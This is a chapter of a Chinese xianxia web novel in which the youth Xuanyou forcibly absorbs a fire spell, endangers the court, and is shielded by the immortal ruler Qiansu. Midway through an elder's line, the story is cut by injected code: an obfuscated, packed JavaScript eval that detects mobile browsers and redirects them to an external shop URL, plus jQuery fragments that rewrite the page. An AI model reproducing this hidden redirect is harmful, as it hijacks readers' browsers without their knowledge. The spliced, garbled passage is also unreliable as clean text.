玹攸在虚幻里熬了十八年。十八年吃过的苦、受过的罪,是很多人无法想象的。
他从来不是娇气的人,因为从未尝过好日子,便也不觉得疼痛与苦楚有什么不能忍。他甚至能咽下常人咽不下的东西。
所以当他强行冲开经脉,将灵诀一股脑灌入时,根本不清楚自己能否承受,也不去想后果。至多觉得,成了便成,不成不过一死。
他从不将自己这条性命看得太重。
然而当那铺天盖地、全然陌生的力量在四肢百骸里冲撞奔腾,与自身血脉激烈相斥时,他才感觉到这种灭顶的痛苦,比以往任何一次都要凶暴。
可他仍没有停手的意思。
哪怕臂上皮下的血管接连爆裂,哪怕口中鲜血不断涌出,他依旧没有停下。
滔天的炎气笼罩着整片宫苑,很快引来了不少人。以李长老为首的几位长老望着这般景象,皆是眉头紧锁,连连叹息。
李长老原本就不赞同仙主留下这少年,更不赞同将他投入虚幻之境栽培。
没人知晓此人的身份来历,仙主只说是为仙都培植新力,可这少年身上的戾气与叛逆实在太过深重。
自他第一次在三重术中闹出事端起,众长老便觉得此人不可留,曾多次恳请仙主舍弃此人,可仙主非但不听,反倒耗费更大心力去栽培。
如今瞧这情形,哪里像是日后护佑仙都的模样?怕是毁了仙都还差不多。
那通天炎息灼得人睁不开眼,稍近些便觉皮肉都要焦枯。秋灵率先赶到,见状立刻抛出一道结界将玹攸笼住,阻住炎息继续蔓延。
在仙都,除却淮临、秋灵与几位长老,无人知晓玹攸是仙主私下栽培的势力。众人只当他是淮临从外头寻来给仙主解闷的,眼下这少年突然闹出如此骇人的阵仗,自是引得一片惊疑。
秋灵当即命人封锁消息,捏了道护身诀欲强行闯入制止。可她才靠近,一股灼浪便扑面而来,瞬间燎焦了她鬓边一缕发丝。
她忙又覆上一层护身灵光,再度尝试。这回,一只脚踏入屋内地面,才察觉地上早已铺满一层密密的水珠。结果鞋底甫一沾地,整只脚竟被死死粘在地上,并以肉眼可见的速度,连鞋带袜眨眼熔作青烟。
转眼间鞋袜尽熔,脚底传来刺骨灼痛。她倒抽一口凉气,急忙催动灵力护住足部,哪知那热意竟顺着脚踝一路蔓延,眨眼燎去大片裙袂。
她心头一惊,再聚灵力欲驱散热流,可那赤炎却异常霸道地向上窜涌,脚底更是如同铸在地上,丝毫动弹不得。情急之下她抽出长剑,立时施展幻水之术。
水流与炎息相撞的刹那,非但未能灭火,反令那赤气“轰”地暴涨,热浪翻腾间隐约可见气体如沸水般鼓动。
若再不撤身,这只腿怕是真要废在此处。
情急之下,她挥出一道灵力直冲玹攸,急声喝道:“快停下!”
可玹攸恍若未闻。此刻他正将灵力往第四成强行汇聚,绝不能中断,否则不止前功尽弃,更会反噬己身。
秋灵见他毫无收势之意,立即转向一旁的长老:“快,布阵!”
几位长老当即会意,纷纷祭出阵盘。十二道玉盘凌空飞起,急速旋动,长老们指诀连变,只见数十道金光浮悬半空,渐渐化作千丝万缕的金线,嗡鸣着疯狂旋转,最终汇成一股凛冽寒流,沉沉罩在玹攸上方,开始向下压去,试图以极寒之气强行冲散炎息。
起初寒流又急又猛,将那股炎息压得黯淡下去,眼看就要触及玹攸身体,却听他周身陡然炸开一圈炽热气浪,瞬间将寒流凝作万千水珠,如暴雨般泼洒而下。
那哪里是水,分明是滚烫的熔浆,触物即熔。秋灵脸色骤变,急喝道:“收阵,快退。”
话音未落,一滴水珠已溅上她的肩头,“嗤”一声响,灼热迅速向四周蔓延,肩头肌肤瞬间灼得通红,鼓起一片水泡。
她催动灵力去挡,竟毫无用处。
眼看热意已逼近面门,就在此时,脸颊忽地一凉,数十只冰蝶翩然飞至落在她身上,将那灼人的热意牢牢隔绝在外。
冰蝶触及热气便迅速消融,可不过须臾,又会有新的凝结成形。这些冰蝶的出现,让秋灵紧绷的心弦骤然一松。
蝶翼落在灼伤的肩头,传来清凌凌的凉意,蔓延的灼痛果真停住了。腿上也有数只冰蝶密密护着,脚边更是不断有蝶扑入炎息,融化,又重生,终于助她将黏连在地面的双足挣脱出来。
秋灵一脱困便急急后退,身形踉跄险些跌倒,却被一只手稳稳扶住。
她回头,见是千宿赶到,忙抓住对方衣袖,眼中尽是焦灼。
千宿神情凝重,先往秋灵体内渡了一道灵力,随即抬眼望向那如怒狮般翻腾的炎息。
她眸光一沉,抬手间灵力奔涌,顷刻布下一重浑厚结界。
结界落下,炎息的势头果然收束不少,可修炼中的玹攸却仍无收手之意。此刻他已将六成灵力强纳入体,眼看就要功成。
虽然后续越来越艰难,痛楚也愈烈,他却坚信自己撑得住。
而他全然不知,此刻在众人眼中,他已形同怪物:赤红的眼眸,赤红的长发,皮肤下暴起的经脉渗出道道血纹,口中鲜血汩汩涌出,周身裹着那骇人的灼气,触目惊心。
几位长老疾步冲到千宿面前。李长老忧急道:“仙主,您瞧这……这究竟是什么情形?这般灼气再不收住,怕是要将整座仙都宫都吞了。”
刘长老也上前劝道:“仙主,不能再犹豫了。此人决不可留,这通天炎息已有灭顶之势,且全然不受控,您须得当机立断啊!”
另一位长老随即附和:“仙主,我等知晓您栽培他耗费无数心血,可一个无法掌控的怪物,万万留不得。”
在不明就里的人眼中,玹攸或许真如怪物一般可怖。
可在千宿眼里,却并非如此。
她望着那个在炎息中苦苦支撑的少年,那样坚韧,又那样倔强。看着他周身汹涌的、几乎失控的灼浪,心底却浮起一丝难以言明的慰藉。
他比前两世都要强,强得多。
他甚至能强行压制住她封入他体内的火狱之火,让这相克相冲的灵术,仍能被一点点吸纳进自己的经脉。并且,是以这般惊人的速度,吞下了六成。
这是她从未见过的景象。震惊之余,也生出几分惊喜。
几位长老见她久不言语,齐齐跪地恳求:“仙主,您还在犹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341342|199343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豫什么?此人万不可留啊!”
自千宿执意将玹攸投入虚幻之境起,众长老便觉不妥。这年纪尚轻的仙主,从不言明此人来历,亦不许外界知晓他的存在,只一意孤行地将他投入那虚构的时空中磨砺,其间多次生出失控之象,她却依旧坚持。
而今人出来了,短短两日便闹出这般滔天炎浪。昨日镇妖司闯入的妖鬼所投放的流火,怕也是他的手笔吧。
这样的人留着,终究是祸患。
千宿并不在意长老们的说辞。她也知晓若控制不好玹攸,日后必生事端。
可她有信心。
有信心将他教得更好,变得更强。
长老们见她默然不语,还要再劝,却被秋灵抬手止住了。
玹攸仍在继续修炼,虽然后路愈发艰难,他仍相信自己撑得住。他也察觉到一股微凉的气息笼罩四周,这强大到几乎能与自己抗衡的灵力,想来也只有千宿才有了。
千宿究竟是怎样的人,他尚不清楚。但她能放任他用这般极端不顾一切的方式修炼,至少说明,她并不在意过程,只要一个结果。
“轰!”
突然一声震耳巨响,如同山崩地裂。紧接着地面剧烈晃动,树木纷纷倾倒。众人耳中一阵刺痛,慌乱间才惊觉,竟是玹攸的炎息,硬生生撑破了千宿所设的结界。
大家皆知千宿的能力,也知晓她布下的结界何等浑厚,可眼下,竟被玹攸硬生生撑破了。
千宿不可置信地望向那似人非人、似鬼非鬼的执拗身影,却见那人微微侧首,朝她瞥来一眼。
甚至,唇角挑起一个耐人寻味的笑意。
他竟然在笑?
千宿怔了一瞬。
他……这是在挑衅她?
“仙主!”李长老又俯身跪地,哀声道,“您究竟还在犹豫什么?再等下去,真要一发不可收拾了。”
千宿直挺挺站在原地,对李长老的话恍若未闻。她只定定望着玹攸,望着他突然以最快的速度开始吸纳灵术,此刻已至第八成。
还剩两成,便可破入五阶。
可就在这时,一道强大的灵术如闪电般直冲玹攸而去,先是一层层撕裂外涌的炎息,继而毫不留情地,朝他本体贯去。
那道强如箭矢的攻势来得太快,众人甚至都没有反应过来。
“是穿灵术。”李长老惊呼一声。
千宿心头一凛,穿灵术乃是祖母的独门灵法,祖母……怎么来了?
她暗道不妙,眼看那道光即将击中玹攸,当即纵身飞扑上前,震袖一挥,竟硬生生徒手攥住了那缕足以刺穿肉身、打散魂魄的灵流。
“砰!”
灵术在她掌中炸开,无数流光自指缝迸射,化作七彩火焰四下飞溅。与此同时,她右臂剧震,腕间筋脉寸寸裂开,鲜血很快顺着手腕与掌心淋漓淌落。
强风呼啸,将她长发与衣袂吹得猎猎飞扬。她甚至顾不上喘息,左手一挥,数只冰蝶疾飞而出,将玹攸周身牢牢护住。
而此时,玹攸已将灵术吸至九成。
还差最后一成。
躲在廊柱后的宋行止望着眼前这一幕,怔了半晌,低低吐出一字:“……牛。”